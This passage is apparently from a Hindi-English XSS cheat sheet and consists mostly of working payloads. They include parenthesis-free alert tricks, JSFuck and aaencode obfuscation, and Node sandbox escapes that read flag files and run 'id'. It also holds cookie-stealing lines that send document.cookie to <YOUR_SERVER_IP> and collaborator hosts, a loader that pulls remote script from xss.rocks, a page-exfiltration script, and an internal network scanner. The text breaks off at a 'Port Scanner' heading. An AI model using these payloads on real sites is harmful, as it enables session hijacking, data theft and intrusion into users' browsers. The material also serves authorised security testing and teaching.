onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
मनमाना फ़ंक्शन (alert) कॉल
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
There is JS code that is using unsafely data controlled by an attacker like location.href
. An attacker, could abuse this to execute arbitrary JS code.
स्पष्टीकरण के विस्तार के कारण DOM vulnerabilities it was moved to this page:
वहाँ आपको DOM vulnerabilities क्या हैं, वे कैसे provoked होते हैं, और उन्हें कैसे exploit किया जाता है का विस्तृत explanation मिलेगा।
Also, don't forget that at the end of the mentioned post you can find an explanation about DOM Clobbering attacks.
Upgrading Self-XSS
Cookie XSS
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
You can find a great abuse of this technique in this blog post.
Sending your session to the admin
Maybe an user can share his profile with the admin and if the self XSS is inside the profile of the user and the admin access it, he will trigger the vulnerability.
Session Mirroring
If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
You could make the administrator trigger your self XSS and steal his cookies/session.
Other Bypasses
Normalised Unicode
You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
RoR mass assignment के कारण HTML में quotes डाल दिए जाते हैं और quote restriction bypass हो जाता है, जिससे टैग के अंदर अतिरिक्त फील्ड्स (onfocus) जोड़े जा सकते हैं.
Form उदाहरण (from this report), यदि आप payload भेजते हैं:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
जो जोड़ी "Key","Value" इस तरह echo होकर वापस दिखेगी:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
फिर, onfocus attribute डाल दिया जाएगा और XSS हो जाएगा।
विशेष संयोजन
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
302 response में header injection के साथ XSS
यदि आप पाते हैं कि आप inject headers in a 302 Redirect response कर सकते हैं तो आप कोशिश कर सकते हैं कि make the browser execute arbitrary JavaScript। यह सरल नहीं है क्योंकि आधुनिक ब्राउज़र HTTP response status code 302 होने पर HTTP response body की व्याख्या नहीं करते, इसलिए सिर्फ एक cross-site scripting payload बेकार है।
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://
, //x:1/
, ws://
, wss://
, empty Location header, resource://
.
केवल अक्षर, अंक और डॉट्स
यदि आप उन characters तक सीमित callback निर्दिष्ट कर सकते हैं जिन्हें javascript execute करेगा। Read this section of this post यह पता करने के लिए कि इस व्यवहार का दुरुपयोग कैसे करें।
XSS के लिए मान्य <script>
Content-Types
(From here) यदि आप application/octet-stream
जैसे किसी content-type के साथ एक script लोड करने की कोशिश करते हैं, तो Chrome निम्न त्रुटि दिखाएगा:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
केवल वही Content-Types Chrome को loaded script चलाने की अनुमति देंगे जो const kSupportedJavascriptTypes
के अंदर हैं। (From https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
XSS के लिए Script प्रकार
(स्रोत: here) तो, किन प्रकारों को script लोड करने के लिए निर्दिष्ट किया जा सकता है?
<script type="???"></script>
उत्तर:
- module (default, समझाने की आवश्यकता नहीं)
- webbundle: Web Bundles एक फीचर है जो आपको HTML, CSS, JS… जैसे डेटा को एक साथ पैकेज करके
.wbn
फाइल में डालने की अनुमति देता है।
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: import syntax को बेहतर बनाने की अनुमति देता है
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
यह व्यवहार this writeup में एक लाइब्रेरी को eval पर रीमैप करने के लिए इस्तेमाल किया गया था, ताकि इसका दुरुपयोग XSS ट्रिगर कर सके।
- speculationrules: यह फीचर मुख्य रूप से pre-rendering के कारण उत्पन्न कुछ समस्याओं को हल करने के लिए है। यह इस प्रकार काम करता है:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types से XSS
(स्रोत: here) निम्नलिखित content types सभी ब्राउज़र्स में XSS execute कर सकते हैं:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? not in the list but I think I saw this in a CTF)
- application/rss+xml (off)
- application/atom+xml (off)
अन्य ब्राउज़र्स में अन्य Content-Types
arbitrary JS execute करने के लिए इस्तेमाल किए जा सकते हैं, देखें: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
यदि पेज text/xml content-type वापस कर रहा है तो namespace indicate करके arbitrary JS execute करना संभव है:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
विशेष प्रतिस्थापन पैटर्न
जब कुछ इस तरह का "some {{template}} data".replace("{{template}}", <user_input>)
उपयोग किया जाता है, तो अटैकर special string replacements का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
For example in this writeup, this was used to scape a JSON string inside a script and execute arbitrary code.
Chrome Cache to XSS
XS Jails Escape
यदि आपके पास इस्तेमाल के लिए केवल सीमित chars हैं, तो XSJail समस्याओं के लिए इन अन्य वैध समाधानों को देखें:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
यदि अनविश्वसनीय कोड चलाने से पहले सब कुछ undefined है (जैसा कि this writeup में), तो मनमाने अनविश्वसनीय कोड के निष्पादन का दुरुपयोग करने के लिए "कुछ भी नहीं से" उपयोगी objects उत्पन्न करना संभव है:
- import() का उपयोग करके
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
require
तक अप्रत्यक्ष पहुँच
According to this के अनुसार, modules को Node.js एक फ़ंक्शन के भीतर लपेटता है, इस तरह:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
इसलिए, अगर उस module से हम call another function कर सकते हैं, तो उस function से arguments.callee.caller.arguments[1]
का उपयोग करके require
को एक्सेस करना संभव है:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
पिछले उदाहरण के समान, use error handlers के माध्यम से मॉड्यूल के wrapper तक पहुँच कर require
फ़ंक्शन प्राप्त करना संभव है:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- एक पृष्ठ में अलग-अलग obfuscations: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- और अधिक परिष्कृत JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS सामान्य payloads
1 में कई payloads
Iframe Trap
उपयोगकर्ता को पेज में iframe से बाहर निकले बिना नेविगेट करवाएं और उसके क्रियाकलाप (फॉर्म में भेजी गई जानकारी सहित) चुरा लें:
Cookies प्राप्त करना
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
tip
आप JavaScript से cookies को एक्सेस नहीं कर पाएंगे अगर cookie में HTTPOnly flag सेट है। लेकिन यहाँ some ways to bypass this protection हैं अगर आप काफी भाग्यशाली हों।
पृष्ठ सामग्री चुराना
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
आंतरिक IPs खोजें
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
